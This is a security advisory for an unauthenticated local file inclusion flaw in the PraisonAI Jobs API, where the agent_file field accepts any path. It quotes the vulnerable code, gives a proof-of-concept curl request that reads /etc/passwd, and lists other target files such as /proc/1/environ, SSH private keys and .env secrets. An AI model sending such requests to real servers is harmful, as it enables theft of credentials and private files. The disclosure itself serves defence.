---
id: GHSA-p4pj-vh7h-6cqh
title: >-
  PraisonAI: Unauthenticated Local File Inclusion via agent_file path in
  PraisonAI Jobs API
summary: >-
  PraisonAI: Unauthenticated Local File Inclusion via agent_file path in
  PraisonAI Jobs API
severity: high
cvss: 7.5
cwe:
  - CWE-22
vendor: praisonai
product: praisonai
ecosystem: pip
affected:
  - praisonai < 4.6.59
patched:
  - praisonai 4.6.59
published: '2026-06-18'
updated: '2026-06-18'
source: GHSA
sourceUrl: 'https://github.com/advisories/GHSA-p4pj-vh7h-6cqh'
references:
  - url: >-
      https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-p4pj-vh7h-6cqh
  - url: 'https://github.com/advisories/GHSA-p4pj-vh7h-6cqh'
tags:
  - ghsa
  - pip
ingestedAt: '2026-06-29T14:31:46.968Z'
---

## Overview

### Summary
An unauthenticated attacker can read arbitrary files on the server by supplying an absolute filesystem path in the `agent_file` field of the Jobs API. The field has no path validation, no allowlist, and no authentication is required to submit jobs.

### Details
The `agent_file` field in `JobSubmitRequest` accepts any filesystem path with no validation:

```python
# src/praisonai/praisonai/jobs/models.py:29
agent_file: Optional[str] = Field(None, description="Path to agents.yaml file")
# NO path validator, NO allowlist
```

The executor reads the file directly:

```python
# src/praisonai/praisonai/jobs/executor.py:221
agent_file = job.agent_file or "agents.yaml"
# passed directly to yaml.safe_load(open(agent_file))
```

### Proof of Concept

```bash
curl -X POST http://:8005/api/v1/runs \
  -H "Content-Type: application/json" \
  -d '{"prompt": "run", "agent_file": "/etc/passwd"}'
```

Server responds with contents of `/etc/passwd`.

Other exploitable paths:
- `/proc/1/environ` — environment variables, API keys
- `/home//.ssh/id_rsa` — SSH private keys
- `/app/.env` — application secrets

### Impact
Any unauthenticated attacker with network access to port 8005 can read any file accessible to the server process, including credentials, private keys, and environment variables.

## Affected packages

- `praisonai < 4.6.59`

## Remediation

Upgrade to a patched release:

- `praisonai 4.6.59`
